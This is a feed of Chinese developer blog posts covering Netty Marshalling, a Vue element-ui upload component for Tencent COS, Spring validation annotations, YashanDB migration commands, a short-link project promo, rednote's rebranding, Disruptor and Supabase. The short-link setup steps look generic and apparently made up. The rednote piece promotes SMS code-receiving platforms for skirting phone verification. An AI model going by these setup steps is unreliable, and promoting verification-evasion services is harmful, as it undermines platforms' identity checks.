5.1 什么是拆包和黏包?

拆包黏包是 TCP 协议的常见问题,其本质原因在于 TCP 是一种流式传输协议,不保证消息边界:

  1. 拆包: 发送的数据包过大,接收端一次读取不完整,导致数据被分割成多个包。
  2. 黏包: 发送的数据包较小,多个消息被拼接在一个 TCP 包中,接收端无法区分边界。

在我之前的博客《构建高性能网络服务:从 Socket 原理到 Netty 应用实践》中,已详细分析了 TCP 拆包与黏包的成因和常见处理方法,建议读者参考相关内容。


5.2 Netty 提供的解决方案

针对 TCP 拆包和黏包问题,Netty 提供了以下通用解码器,可以与 Marshalling 协作使用:

  1. 定长帧解码器: 使用 FixedLengthFrameDecoder,通过指定消息的固定长度,强制按照长度切分数据包。

    适用场景: 消息格式固定、长度已知的简单协议。

    ch.pipeline().addLast(new FixedLengthFrameDecoder(1024)); // 每次读取固定 1024 字节
    
  2. 特殊分隔符解码器: 使用 DelimiterBasedFrameDecoder,指定特殊字符(如 \n 或自定义符号)作为消息边界。

    适用场景: 消息中含有明确的结束符,如基于文本的协议。

    ByteBuf delimiter = Unpooled.copiedBuffer("_$".getBytes());
    ch.pipeline().addLast(new DelimiterBasedFrameDecoder(8192, delimiter));
    
  3. 长度字段解码器: 使用 LengthFieldBasedFrameDecoder,通过消息头携带的长度信息解析数据包。

    适用场景: 自定义协议中包含消息长度字段。

    ch.pipeline().addLast(new LengthFieldBasedFrameDecoder(
            65536, // 最大帧长度
            0,     // 长度字段的偏移
            4,     // 长度字段的字节数
            0,     // 长度调整值
            4      // 跳过的初始字节数
    ));
    

5.3 Marshalling 的协作

在基于 Marshalling 的对象传输中,消息往往是复杂 Java 对象,直接使用 MarshallingDecoderMarshallingEncoder 可能会因为拆包和黏包问题导致数据不完整或出错。为避免此问题,需结合上述解码器解决。

典型组合示例:

ch.pipeline().addLast(new LengthFieldBasedFrameDecoder(65536, 0, 4, 0, 4)); // 处理拆包黏包
ch.pipeline().addLast(MarshallingCodeCFactory.buildMarshallingDecoder());   // 反序列化
ch.pipeline().addLast(MarshallingCodeCFactory.buildMarshallingEncoder());   // 序列化

小结:

  • 通过明确消息边界,可以有效避免拆包和黏包问题。
  • 在本博客的复杂对象传输示例中,Marshalling 通常结合 LengthFieldBasedFrameDecoder 使用,确保消息的完整性和可靠性。

六、总结

在本篇博客中,我们探讨了 Netty 提供的高级编解码工具 Marshalling,并结合实际示例展示了如何通过它高效地实现 Java 对象的序列化与反序列化。以下是关键点回顾:

1. 核心内容回顾

  • Marshalling 的作用:

    • 提供了一种高效的序列化机制,适用于 Java 对象的网络传输。
    • 基于 JBoss Marshalling 项目实现,性能优于传统的 ObjectInputStreamObjectOutputStream
  • Marshalling 的核心组件:

    • MarshallingEncoder:负责对象序列化为字节流。
    • MarshallingDecoder:负责字节流反序列化为 Java 对象。
  • 典型使用场景:

    • 复杂 Java 对象的网络传输,如分布式系统通信、RPC 框架中数据的序列化与反序列化。

2. 实践中的重要建议

  • 结合解码器处理拆包与黏包问题: 在 TCP 网络传输中,结合 Netty 提供的 LengthFieldBasedFrameDecoder 等解码器使用,可以有效避免因拆包或黏包导致的传输错误。

  • 性能优化:

    • 针对性能需求较高的场景,可通过自定义序列化器(如实现 Externalizer 接口)优化特定对象的序列化效率。
    • 对序列化后的数据进行压缩,进一步减少传输开销。
  • 安全性与兼容性:

    • 使用 serialVersionUID 确保对象序列化的向后兼容。
    • 在反序列化过程中,限制可加载的类,防范反序列化漏洞。

3. 学习与拓展

要全面掌握 Marshalling,可以从以下方面进一步学习和实践:

  1. 深入理解序列化机制: 研究 Marshalling 的内部实现,了解其性能优势和扩展能力。
  2. 对比其他序列化方案: 例如 Protobuf、Kryo 等,分析其优劣与适用场景。
  3. 实际项目应用: 在微服务、分布式系统或 RPC 框架中尝试集成和优化 Marshalling

by Java移动技术栈 at January 21, 2025 10:58 AM

juejin frontend

element-ui上传多张图片到腾讯云COS

最近做 vue2 项目,用到了 element-ui,其中有个需求是上传多张图片到腾讯云 COS,这里记录一下实现过程。

大致效果如下:

upload_img1.gif

使用方式

这里外层是一个el-form,增删行是其中一个el-form-item,对应formData的一个字段,代码如下所示:

<el-form :model="formData">
  <el-form-item label="最低版本号">
    <UploadImage v-model="formData.urls" :limit="3"/>
  </el-form-item>
  <!-- 其他el-form-item -->
</el-form>

UploadImage的组件实现

UploadImage的组件逻辑:

  • 使用的是el-upload组件,核心的数据是fileList,其数据结构最重要的是[{url:'https://xxx.png, status:'success'}],status 的状态需要手动更换。设置自定义上传,新增、删除、上传都会触发fileList的变化,然后通过$emit('input', this.fileList.map(item=>item.url))fileList传递给父组件。
  • value:父组件传入的值,即formData.urls,需要在created生命周期中初始化根据 value 来初始化fileList,其实就是value.map(url=>({url,status:'success'}))
  • 这里因为需要额外实现图片预览,所以还有一个el-dialog,点击图片预览,关闭图片预览,不需要的话可以去掉,如果
  • 属性解读,v-bind="this.$attrs"v-on="this.$listeners",这个是为了将父组件传递的属性和事件传递给el-upload,这样就可以使用el-upload的所有属性和事件了。
  • beforeUpload:上传前的校验,这里只是校验是否是图片,可以根据实际情况来校验。
  • upload:上传文件,这里是上传到腾讯云 COS,需要调用腾讯云 COS 的接口,这里只是简单的实现,具体的上传逻辑可以根据实际情况来实现。
  • onAddonRemove:新增、删除文件,这里是同步fileList,然后通过$emit('input', this.fileList.map(item=>item.url))fileList传递给父组件。
  • handlePictureCardPreview:图片预览,点击图片预览,打开el-dialog,关闭图片预览,关闭el-dialog
  • onExceed:超出文件个数限制,这里只是简单的提示,可以根据实际情况来实现。

正常情况,其实内部用 innerValue,然后 computed 计算属性,get 和 set,这样就实现了双向绑定。但是因为 fileList 一旦引用发生变化,el-upload 会重新渲染,所以这里直接用 value,然后在 created 中初始化 fileList。innerValue 的用法可以参考这里的组件封装

以下是UploadImage的组件实现:

<template>
  <div>
    <el-upload
      multiple
      accept="image/*"
      class="upload-img"
      action="#"
      :http-request="upload"
      :show-file-list="true"
      list-type="picture-card"
      :file-list="fileList"
      :on-change="onAdd"
      :on-remove="onRemove"
      :on-exceed="onExceed"
      :before-upload="beforeUpload"
      :limit="limit"
      v-bind="this.$attrs"
      v-on="this.$listeners"
    >
      <i slot="default" class="el-icon-plus"></i>
    </el-upload>
  </div>
</template>
<script>
import { uploadFileToCos } from './utils';
import { getCosConfig } from './service.js';

export default {
  name: 'UploadImg',
  model: {
    prop: 'value', // 默认为 'value'
    event: 'input', // 默认为 'input'
  },
  props: {
    value: {
      type: Array,
      default() {
        return [];
      },
    },
  },
  data() {
    return {
      fileList: (this.value || []).map((url) => ({ status: 'success', url })),
      // 这个太常用了,直接写在data里面
      limit: this.$attrs.limit || 1,
    };
  },
  methods: {
    /** 新增同步fileList */
    onAdd(file, fileList) {
      this.fileList = fileList;
      this.$emit(
        'input',
        this.fileList.map((item) => item.url)
      );
    },
    /** 删除同步fileList */
    onRemove(file, fileList) {
      this.fileList = fileList.filter((item) => item.url !== file.url);
      this.$emit(
        'input',
        this.fileList.map((item) => item.url)
      );
    },
    /** 上传同步fileList */
    async upload(res) {
      if (res.file) {
        // 这里声明状态,fileList能同步更新
        res.file.status = 'loading';
        const url = await uploadFileToCos(res.file, getCosConfig);
        res.file.status = 'success';
        res.file.url = url;
        // 更新fileList的url
        this.fileList.find((item) => item.uid === res.file.uid).url = url;
        // 需要向外
        this.$emit(
          'input',
          this.fileList.map((item) => item.url)
        );
      }
    },
    onExceed(files, fileList) {
      this.$message.error(
        `限制 ${this.limit} 个文件,本次最多能选择 ${
          this.limit - fileList.length
        } 个文件`
      );
    },

    beforeUpload(file) {
      const isImg = file.type.startsWith('image/');
      // const isLt = file.size / 1024 / 1024 < 2

      if (!isImg) {
        this.$message.error('上传只能是 图片格式!');
      }
      // if (!isLt) {
      //     this.$message.error("上传头像图片大小不能超过 2MB!")
      // }
      return isImg;
    },
  },
};
</script>
<style scoped lang="less">
/** 调整添加卡片大小   item是展示卡片大小*/
.upload-img /deep/.el-upload--picture-card,
.upload-img /deep/.el-upload-list--picture-card .el-upload-list__item {
  width: 100px;
  height: 100px;
}
/** line-height是调整加号位置 */
.upload-img /deep/.el-upload--picture-card {
  line-height: 100px;
}
</style>

utils.js

import COS from 'cos-js-sdk-v5';
import uuid from 'react-uuid';

/**
 * 上传文件到腾讯云COS
 * @param {File} file 文件
 * @param {Function} getCosConfig 获取cos配置,大部分时候,上传文件需要一些配置,这里使用了一个异步函数获取cos配置,这边使用临时秘钥,所以每次请求,如果不是临时秘钥,可以直接传入配置.这里是一个异步函数返回Promise对象: bucketName, region, TmpSecretId, TmpSecretKey, XCosSecurityToken, StartTime, ExpiredTime,
 * @param {String} path 上传路径
 * @returns {String} 文件url
 * @example
 * const url = await uploadFileToCos(file, getCosConfig, path)
 * console.log(url)
 */

export async function uploadFileToCos(file, getCosConfig, path = '/App') {
  //
  // 获取cos配置
  const cosConfig = await getCosConfig();
  const cos = new COS({
    getAuthorization: (options, callback) => {
      callback(cosConfig);
    },
  });

  const params = {
    Bucket: cosConfig.bucketName,
    Region: cosConfig.region,
    // Key 可以理解是文件的路径,这里我使用了一个带有uuid的文件名
    Key: `${path}/${addUuidToName(file.name)}`,
    Body: file,
    onProgress: function (progressData) {
      const { loaded, total } = progressData;
      console.log('上传进度', { loaded, total });
    },
  };
  const url = await putObject(cos, params);
  return url;
}

export function putObject(cos, params) {
  return new Promise((resolve, reject) => {
    cos.putObject(params, function (err, data) {
      if (err) {
        console.error('上传失败', err);
        reject(err);
      }
      console.log('上传成功', data.Location);
      const url = `https://${data.Location}`;
      resolve(url);
    });
  });
}

/**
 *
 * @param {*} filename
 * @returns string
 * @example
 * addUuidToName('test.png') // test_6e1fa314-96ef-d686-104c-4b6a67649483.png
 */
function addUuidToName(filename) {
  const dotIndex = filename.lastIndexOf('.');
  if (dotIndex === -1) {
    return `${filename}_${uuid()}`;
  }
  const base = filename.slice(0, dotIndex);
  const suffix = filename.slice(dotIndex);
  return `${base}_${uuid()}${suffix}`;
}

图片超过限制不显示加号

如果图片超过限制,不显示加号,那么需要在el-upload加上类名判断:

<el-upload
  :class="{ 'upload-img': true, 'is-enough': fileList.length >= limit }"
>
  <!-- css部分
 .is-enough /deep/.el-upload--picture-card {
  display: none;
}
 --></el-upload
>

想要加预览功能的话

默认的缩略图不支持预览,一方面需要 slot 重新设计操作图标,一方面需要加预览弹框,这里使用el-dialog,点击图片预览,关闭图片预览,代码如下所示:

<template>
  <div>
    <el-upload ...>
      <i slot="default" class="el-icon-plus"></i>
      <div slot="file" slot-scope="{ file }">
        <img class="el-upload-list__item-thumbnail" :src="file.url" alt="" />
        <span class="el-upload-list__item-actions">
          <span
            class="el-upload-list__item-preview"
            @click="handlePictureCardPreview(file)"
          >
            <i class="el-icon-zoom-in"></i>
          </span>
          <span
            class="el-upload-list__item-delete"
            @click="onRemove(file, fileList)"
          >
            <i class="el-icon-delete"></i>
          </span>
        </span>
      </div>
    </el-upload>

    <el-dialog :visible.sync="dialogVisible" append-to-body>
      <img width="100%" :src="dialogImageUrl" alt="" />
    </el-dialog>
  </div>
</template>
<script>
/**
 * 目前最大的问题是 重新赋值数组 会一抖一抖的  所以并没有检测外围的value变化,只是内部值发生变化,同步外围数据
 */
import { uploadFileToCos } from './utils';
import { getCosConfig } from './service.js';

export default {
  name: 'UploadImg',
  // ...
  data() {
    return {
      dialogImageUrl: '',
      dialogVisible: false,
      // ...
    };
  },
  methods: {
    handlePictureCardPreview(file) {
      this.dialogImageUrl = file.url;
      this.dialogVisible = true;
    },
    //  ...
  },
};
</script>
<style scoped lang="less"></style>

上面所有功能的的代码

<template>
  <div>
    <el-upload
      multiple
      accept="image/*"
      :class="{ 'upload-img': true, 'is-enough': fileList.length >= limit }"
      action="#"
      :http-request="upload"
      :show-file-list="true"
      list-type="picture-card"
      :file-list="fileList"
      :on-change="onAdd"
      :on-remove="onRemove"
      :on-exceed="onExceed"
      :limit="limit"
      :before-upload="beforeUpload"
      v-bind="this.$attrs"
      v-on="this.$listeners"
    >
      <i slot="default" class="el-icon-plus"></i>
      <div slot="file" slot-scope="{ file }">
        <img class="el-upload-list__item-thumbnail" :src="file.url" alt="" />
        <span class="el-upload-list__item-actions">
          <span
            class="el-upload-list__item-preview"
            @click="handlePictureCardPreview(file)"
          >
            <i class="el-icon-zoom-in"></i>
          </span>
          <span
            v-if="!disabled"
            class="el-upload-list__item-delete"
            @click="onRemove(file, fileList)"
          >
            <i class="el-icon-delete"></i>
          </span>
        </span>
      </div>
    </el-upload>

    <el-dialog :visible.sync="dialogVisible" append-to-body>
      <img width="100%" :src="dialogImageUrl" alt="" />
    </el-dialog>
  </div>
</template>
<script>
/**
 * 目前最大的问题是 重新赋值数组 会一抖一抖的  所以并没有检测外围的value变化,只是内部值发生变化,同步外围数据
 */
import { uploadFileToCos } from './utils';
import { getCosConfig } from './service.js';

function formatFileListToUrlList(fileList) {
  return fileList.map((item) => item.url);
}
export default {
  name: 'UploadImg',
  model: {
    prop: 'value', // 默认为 'value'
    event: 'input', // 默认为 'input'
  },
  props: {
    value: {
      type: Array,
      default() {
        return [];
      },
    },
  },
  data() {
    return {
      dialogImageUrl: '',
      dialogVisible: false,
      disabled: false,
      fileList: (this.value || []).map((url) => ({ status: 'success', url })),
      limit: this.$attrs.limit || 1,
    };
  },
  methods: {
    handlePictureCardPreview(file) {
      this.dialogImageUrl = file.url;
      this.dialogVisible = true;
    },
    /** 新增同步fileList */
    onAdd(file, fileList) {
      console.log(file, fileList);
      this.fileList = fileList;
      this.$emit('input', formatFileListToUrlList(fileList));
    },
    /** 删除同步fileList */
    onRemove(file, fileList) {
      console.log('remove', file, fileList);
      this.fileList = fileList.filter((item) => item.url !== file.url);
      this.$emit('input', formatFileListToUrlList(this.fileList));
    },
    async upload(res) {
      if (res.file) {
        // 这里声明状态,fileList能同步更新
        res.file.status = 'loading';
        const url = await uploadFileToCos(res.file, getCosConfig);
        res.file.status = 'success';
        res.file.url = url;
        this.fileList.find((item) => item.uid === res.file.uid).url = url;
        // 需要向外
        this.$emit('input', formatFileListToUrlList(this.fileList));
      }
    },
    onExceed(files, fileList) {
      this.$message.error(
        `限制 ${this.limit} 个文件,本次最多能选择 ${
          this.limit - fileList.length
        } 个文件`
      );
    },

    beforeUpload(file) {
      const isImg = file.type.startsWith('image/');
      // const isLt = file.size / 1024 / 1024 < 2

      if (!isImg) {
        this.$message.error('上传只能是 图片格式!');
      }
      // if (!isLt) {
      //     this.$message.error("上传头像图片大小不能超过 2MB!")
      // }
      return isImg;
    },
  },
};
</script>
<style scoped lang="less">
/** 调整添加卡片大小   item是展示卡片大小*/
.upload-img {
  &.is-enough {
    /deep/.el-upload--picture-card {
      display: none;
    }
  }
  /deep/.el-upload--picture-card,
  /deep/.el-upload-list--picture-card .el-upload-list__item {
    width: 100px;
    height: 100px;
  }
  /** line-height是调整加号位置 */
  /deep/.el-upload--picture-card {
    line-height: 100px;
  }
}
</style>

by 颜酱 at January 21, 2025 10:51 AM

juejin backend

关于springboot-valid常用的注解及其意义(spring-boot-starter-validation3.4.1附近的版本)


基础注解

注解功能适用类型备注
@Null被注释的元素必须为 null任意类型通常用于校验某些字段必须为空的场景,例如更新时某些字段不可修改。
@NotNull被注释的元素必须不为 null任意类型常用于校验必填字段。
@AssertTrue被注释的元素必须为 trueBoolean 或其包装类常用于逻辑校验,例如标识是否接受协议等。
@AssertFalse被注释的元素必须为 falseBoolean 或其包装类用于确保布尔值为 false

数字校验注解

注解功能适用类型备注
@Min(value)被注释的元素必须是一个数字,其值必须大于等于指定的最小值数字类型用于校验字段值下限,例如金额、年龄等。
@Max(value)被注释的元素必须是一个数字,其值必须小于等于指定的最大值数字类型用于校验字段值上限,例如人数限制等。
@DecimalMin(value)被注释的元素必须是一个数字,其值必须大于等于指定的最小值数字类型(支持小数)@Min 类似,但支持小数校验。
@DecimalMax(value)被注释的元素必须是一个数字,其值必须小于等于指定的最大值数字类型(支持小数)@Max 类似,但支持小数校验。
@Digits(integer, fraction)被注释的元素必须是一个数字,其值必须符合整数位和小数位的限制数字类型(支持小数)用于校验数据精度,例如金额字段的整数位和小数位限制。

集合和字符串校验注解

注解功能适用类型备注
@Size(min, max)被注释的元素的大小必须在指定的范围内集合、数组、字符串等用于校验集合长度或字符串长度,例如密码长度限制。
@NotEmpty被注释的元素必须不为空(不能为空字符串或空集合)字符串、集合常用于校验必填字段,且不能只包含空白字符。
@NotBlank被注释的字符串必须非空(不允许空白字符)字符串类型类似 @NotEmpty,但更严格,适用于字符串。
@Length(min, max)被注释的字符串长度必须在指定范围内字符串类型由 Hibernate Validator 提供,与 @Size 类似。

日期校验注解

注解功能适用类型备注
@Past被注释的元素必须是一个过去的日期日期类型常用于校验生日等字段。
@Future被注释的元素必须是一个将来的日期日期类型常用于校验预约时间等字段。
@PastOrPresent被注释的元素必须是过去或当前的日期日期类型更宽松的过去日期校验。
@FutureOrPresent被注释的元素必须是未来或当前的日期日期类型更宽松的未来日期校验。

正则校验注解

注解功能适用类型备注
@Pattern(regexp)被注释的元素必须符合指定的正则表达式字符串类型用于校验复杂格式,如身份证号、手机号、密码规则等。
@Email被注释的元素必须是一个合法的电子邮箱地址字符串类型支持基本的邮箱格式校验,但不校验域名是否真实存在。

范围校验注解

注解功能适用类型备注
@Range(min, max)被注释的元素必须在指定范围内数字类型由 Hibernate Validator 提供,与 @Min@Max 类似。

by 用户618355517261 at January 21, 2025 10:49 AM

【YashanDB知识库】重装新库及元数据和数据导出导入指导

本文内容来自YashanDB官网,原文内容请见 www.yashandb.com/newsinfo/72…

开始本文操作之前默认已经部署有3mn3cn3-3dn的yashan分布式数据库,并且已经配置好环境变量,开始操作之前请先停止所有业务。

从旧库导出数据

创建目录

$ cd ~

$ mkdir -p /data/yashan/save_data # 创建空目录用于保存导出的数据

导出数据

$ yasboot sql -c yashan -n 2-1 -u sys -p Cod-2022 --sql "select count(*) from dba_tables where DATABASE_MAINTAINED != 'Y'" # 查询用户建表数量,记录用于向新库导数后检查

$ yasboot sql -c yashan -n 2-1 -u sys -p Cod-2022 --sql "select count(*) from dba_objects where DATABASE_MAINTAINED != 'Y'" # 查询用户建对象数量,记录用于向新库导数后检查

image.png

$ yasboot sql -c yashan -u sys -p Cod-2022 -n 2-1 --sql "select count(*) from ZTK_GH.DWS_FW_APPEAL_PSYCHOLOGICAL_LIST" # 查询演示用表的数据行数,记录用于向新库导数后检查

image.png

导出数据需要使用exp工具导出所有对象的元数据和以csv文件的形式导出所有表数据,需要手动填写每张表的信息,比较繁琐,附件提供了示例脚本auto_export_and_import_all_objects_and_data.py用来自动导出数据

$ python3 auto_export_and_import_all_objects_and_data.py --export-data -d /data/yashan/save_data -c yashan -p Cod-2022 -a 192.168.8.44:1688 # 根据帮助信息,填写--export-data参数启动导出数据模式,并填写保存数据路径、集群名、sys用户密码和cn节点地址信息

image.png 停止旧库

$ yasboot monit stop -c yashan

$ yasboot cluster stop -c yashan --purge -f # yashan需要替换成实际使用的集群名

$ yasboot process yasom stop -c yashan -t hosts.toml -f # hosts.toml是旧库建库时使用的hosts.toml文件

$ yasboot process yasagent stop -c yashan -t hosts.toml -f

安装新库

可参考“智工一主一备安装部署文档”进行安装,需要注意集群名和安装目录需要与旧库不同,避免冲突

导入数据

$ python3 auto_export_and_import_all_objects_and_data.py --load-data -d /data/yashan/save_data -c yashan -p Cod-2022 -a 192.168.8.44:1688 # 根据帮助信息,填写--load-data参数启动导入数据模式,并填写保存数据路径、集群名、sys用户密码和cn节点地址信息

image.png

导入元数据时会有警告,第一条警告是不支持指定system表空间给sys用户(sys用户原本的默认表空间就是system),后面的警告是给数据库自建用户重复授权,对数据库无影响,最后导入成功

$ yasboot sql -c yashan -n 2-1 -u sys -p Cod-2022 --sql "select count(*) from dba_tables where DATABASE_MAINTAINED != 'Y'" # 查询导入的表数量

$ yasboot sql -c yashan -n 2-1 -u sys -p Cod-2022 --sql "select count(*) from dba_objects where DATABASE_MAINTAINED != 'Y'" # 查询导入的对象数量

image.png

$ yasboot sql -c yashan -u sys -p Cod-2022 -n 2-1 --sql "select count(*) from ZTK_GH.DWS_FW_APPEAL_PSYCHOLOGICAL_LIST" # 与旧库数据一致

image.png

by 崖山数据库系统YashanDB at January 21, 2025 10:30 AM

shortlink:我敢打赌90%以上的项目都能用上的开源项目,短链生成神器,一键生成短链接的开源神器,简单又好用

嗨,大家好,我是小华同学,关注我们获得“最新、最全、最优质”开源项目和高效工作学习方法

nageoffer/shortlink 是一个基于 Apache License 2.0 开源协议的短链生成项目。它可以帮助用户将长链接转换为短链接,便于分享和记忆。该项目具备以下特点:

  • 简单易用:只需几行代码,即可实现短链的生成。
  • 高效安全:采用高效算法,保证短链的生成速度和安全性。
  • 扩展性强:支持自定义短链后缀,满足个性化需求。

功能特点

  • 一键转换:用户只需输入长链接,即可一键生成短链接。
  • 自定义短码:支持用户自定义短链接的短码部分,增加个性化。
  • 历史记录:自动保存用户生成的所有短链接,方便查询和管理。
  • 多平台兼容:支持在多种设备和操作系统上使用,无需担心兼容性问题。

技术架构

应用场景

短链生成技术在日常生活中有着广泛的应用场景,以下是一些典型例子:

  1. 社交媒体分享:将长链接转换为短链,便于在朋友圈、微博等社交平台分享。
  2. 广告推广:缩短广告链接,提高点击率。
  3. 短信发送:减少短信字数,降低通信成本。
  4. 二维码生成:缩短链接,生成更清晰的二维码。
  5. 社交媒体分享:在社交媒体上分享长链接时,使用nageoffer/shortlink可以生成短链接,提高帖子的整洁度和专业性。
  6. 邮件营销:在邮件中插入短链接,提高点击率,增加用户的互动和参与度。
  7. SEO优化:短链接可以提高网站的SEO排名,因为它可以减少URL的长度,使得搜索引擎更容易抓取和索引。
  8. 个人项目管理:对于需要管理多个项目链接的个人或团队,使用短链接可以简化链接管理流程。

具体使用方法

以下是基于 nageoffer/shortlink 项目生成短链的具体步骤:

  1. 克隆项目到本地:
git clone https://gitee.com/nageoffer/shortlink.git

2. 进入项目目录,安装依赖:

cd shortlink
pip install -r requirements.txt

3. 运行项目:

python run.py

4. 访问 http://127.0.0.1:5000/shorten,在输入框中输入长链接,点击“缩短”按钮,即可生成短链。

代码示例

以下是使用nageoffer/shortlink生成短链接的简单代码示例:

from shortlink_generator import generate_shortlink

# 用户输入的长链接
long_link = "http://example.com/very/long/url/that/is/hard/to/remember"

# 生成短链接
short_link = generate_shortlink(long_link)

print("Generated Short Link:", short_link)

项目展示

同类项目对比

在短链生成领域,还有其他一些知名的项目,如下:

  1. TinyURL:一个免费的网址缩短服务,可以将长链接转换为短链。
  2. Bitly:提供链接缩短、点击统计等功能,适用于广告推广等场景。
  3. Shorte.st:一个通过缩短网址来赚钱的平台。 与这些项目相比,nageoffer/shortlink 优势在于:
  • 开源:用户可以根据需求修改源码,实现个性化定制。
  • 简单易用:无需复杂配置,快速上手。

总之,nageoffer/shortlink 是一款值得尝试的短链生成工具。无论是个人使用还是企业应用,都能带来便捷的链接缩短体验。快来试试吧!

项目地址

https://gitee.com/nageoffer/shortlink

by 小华同学ai at January 21, 2025 10:25 AM

juejin article

“小红书”海外版正式更名“ rednote”,突然爆红的背后带给开发者哪些思考?

序言

小红书在昨天的更新中,已经在Appstore正式将海外版本名称改为

rednote - share, connect, love

WX20250121-174006@2x.png

爆红趣事

自从“Tiktok”陷入前一阵的风波之后,不少海外玩家纷纷涌入了“抖音”、“快手”和“小红书”的热门社区类App。

同时这一爆发性事件也被网友调侃“入侵行为”。

永远忘不了2025年1月15日这沉重的一天。八国联军入侵了我的抖音 我刷不到我的同胞们了

还有有趣的网友发出珍藏的表情包,与海外玩家互动。比如:

7fb3c4ec6ad09455fd5ebcd97456e13b.jpg

更有颜值控(LSP)的玩家发了"激进的言论"。比如:

WechatIMG4589.jpg

也有心细的网友发现了新版本岗位工作的需求。比如:

WechatIMG28866.jpg

对开发机遇

Register

既然想使用国内的App,首先要解决的是注册问题。大多数App都需要在注册的时候,使用手机号和验证码来验证用户的真实性,那么所谓接码平台绝对是老外注册的不二之选。

WX20250121-180648@2x.png

Study Chinese

既然有需要将英语翻译成中文的工作,那么反向思维一下?老外会不会提升对于学习中文的需求?于是乎带着疑惑,在点点数据搜索'Chinese'发现,已经有了这类产品。占据榜首的当属HelloChinese。毫不夸张地说,这种产品迎来了属于自己的高光时刻。

WX20250121-175527@2x.png

通过查看榜单排名变化,可以清晰地看到。排名攀爬的趋势极速上涨

WX20250121-175809@2x.png

常言道机会总是留给有准备的人如果没有造势的本事,就不如顺势而为

希望大家都可以早日遇到自己的风口,最后祝大家大吉大利,今晚过审!

by iOS阿玮 at January 21, 2025 10:23 AM

juejin backend

高性能队列Disruptor的初体验!

初探Disruptor

1. 概述

Disruptor 是一个高性能、低延迟的无锁队列替代方案,最初由 LMAX 公司开发,专为处理高吞吐量和低延迟的消息传递系统而设计。它利用环形缓冲区(RingBuffer)和无锁的生产者-消费者模型,大幅提升并发性能。

相比传统的基于 java.util.concurrent 的队列(如 ArrayBlockingQueueLinkedBlockingQueue),Disruptor 通过避免锁竞争、减少 CPU 缓存行无效(cache invalidation)等方式提高吞吐量。

2. 核心概念

2.1 RingBuffer(环形缓冲区)

Disruptor 的核心数据结构是环形缓冲区(RingBuffer),它类似于一个固定大小的数组,数据结构如下:

+----+----+----+----+----+----+----+----+
|  0 |  1 |  2 |  3 |  4 |  5 |  6 |  7 |
+----+----+----+----+----+----+----+----+

RingBuffer 通过索引递增的方式循环使用元素,避免内存分配和垃圾回收的开销。

2.2 Sequence(序列号)

在 Disruptor 中,所有读写操作都基于 Sequence,用于跟踪当前生产和消费的位置。它主要包括:

  • Cursor:指向 RingBuffer 中最后一个被写入的位置。
  • SequenceBarrier:用于协调生产者和消费者的进度,确保消费者不会读取尚未发布的数据。
  • Sequencer:用于管理 RingBuffer 的序列。

2.3 Producer(生产者)

生产者向 RingBuffer 写入数据,通常采用 ClaimStrategy 申请空间,然后写入数据并发布。

2.4 Consumer(消费者)

消费者从 RingBuffer 读取数据,并可以设置多个消费者进行并行处理,支持 WorkerPool 模式。

2.5 WaitStrategy(等待策略)

Disruptor 通过 WaitStrategy 来决定消费者如何等待新的数据到达。常见策略包括:

  • BusySpinWaitStrategy:自旋等待,适用于低延迟应用,但 CPU 开销较大。
  • SleepingWaitStrategy:适当休眠,减少 CPU 占用。
  • YieldingWaitStrategy:让出 CPU 时间片,适用于高吞吐场景。

3. Disruptor 的优势

3.1 无锁设计

传统队列使用 ReentrantLocksynchronized 来保证线程安全,而 Disruptor 通过 CAS(Compare-And-Swap)机制更新 Sequence,避免锁的开销。

3.2 高效的 CPU 缓存利用

Disruptor 采用 伪共享(False Sharing) 避免 CPU 缓存行竞争,并使用 缓存行填充(Cache Line Padding) 来减少缓存行失效。

3.3 生产者-消费者模型优化

Disruptor 允许多种消费者模式:

  • 单消费者:一个消费者处理所有数据。
  • 多消费者并行消费:多个消费者共同消费数据,提高吞吐量。
  • 菱形依赖消费:一个消费者的输出作为另一个消费者的输入。

4. 使用示例

4.1 引入依赖

<dependency>
    <groupId>com.lmax</groupId>
    <artifactId>disruptor</artifactId>
    <version>3.4.2</version>
</dependency>

4.2 创建事件类

public class LongEvent {
    private long value;
    public void set(long value) {
        this.value = value;
    }
    public long getValue() {
        return value;
    }
}

4.3 定义事件工厂

import com.lmax.disruptor.EventFactory;

public class LongEventFactory implements EventFactory<LongEvent> {
    @Override
    public LongEvent newInstance() {
        return new LongEvent();
    }
}

4.4 事件处理器

import com.lmax.disruptor.EventHandler;

public class LongEventHandler implements EventHandler<LongEvent> {
    @Override
    public void onEvent(LongEvent event, long sequence, boolean endOfBatch) {
        System.out.println("Event: " + event.getValue());
    }
}

4.5 配置 Disruptor

import com.lmax.disruptor.*;
import com.lmax.disruptor.dsl.Disruptor;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class DisruptorExample {
    public static void main(String[] args) {
        ExecutorService executor = Executors.newCachedThreadPool();
        LongEventFactory factory = new LongEventFactory();
        int bufferSize = 1024;

        Disruptor<LongEvent> disruptor = new Disruptor<>(
            factory, bufferSize, executor, ProducerType.SINGLE, new YieldingWaitStrategy());
        
        disruptor.handleEventsWith(new LongEventHandler());
        disruptor.start();

        RingBuffer<LongEvent> ringBuffer = disruptor.getRingBuffer();
        LongEventProducer producer = new LongEventProducer(ringBuffer);
        
        for (long i = 0; i < 10; i++) {
            producer.onData(i);
        }
    }
}

5. 适用场景

Disruptor 适用于以下场景:

  • 高吞吐量、低延迟的消息队列
  • 日志系统(如 log4j2 采用 Disruptor 作为日志处理引擎)
  • 交易撮合系统
  • 事件驱动架构

6. 总结

今天先初步了解Disruptor的简单用法,后续会继续介绍Disruptor的特性,为什么性能秒杀JDK提供的队列,以及相关原理分析。

最后

欢迎follow加瓦点灯,每天推送干货知识!

by 加瓦点灯 at January 21, 2025 10:15 AM

Supabase:帮助快速构建应用后端的BaaS服务

最近在使用一些低代码平台进行开发部署的时候,经常会看到一个用于部署的组件:Supabase。那这是什么呢?本文整理并组织了一些supabase的基本信息,帮助大家对这玩意有个快速的了解。

简介

Supabase 作为一个开源的 Firebase 替代品,其核心在于提供了一个完整的后端即服务 (BaaS) 平台帮助开发者快速构建和部署应用程序。它的核心功能包括:

核心功能说明
实时数据库 (Realtime Database)基于 PostgreSQL,提供实时数据同步功能,让前端应用可以实时获取数据库的更新。支持订阅、查询等操作,方便构建实时应用。
身份认证 (Authentication)提供全面的用户认证系统,支持多种登录方式(邮箱、手机号、社交登录等)。可以自定义用户角色和权限,实现细粒度的访问控制。
存储 (Storage)提供对象存储功能,用于存储用户上传的图片、视频等文件。集成 S3 兼容接口,方便与其他云存储服务对接。
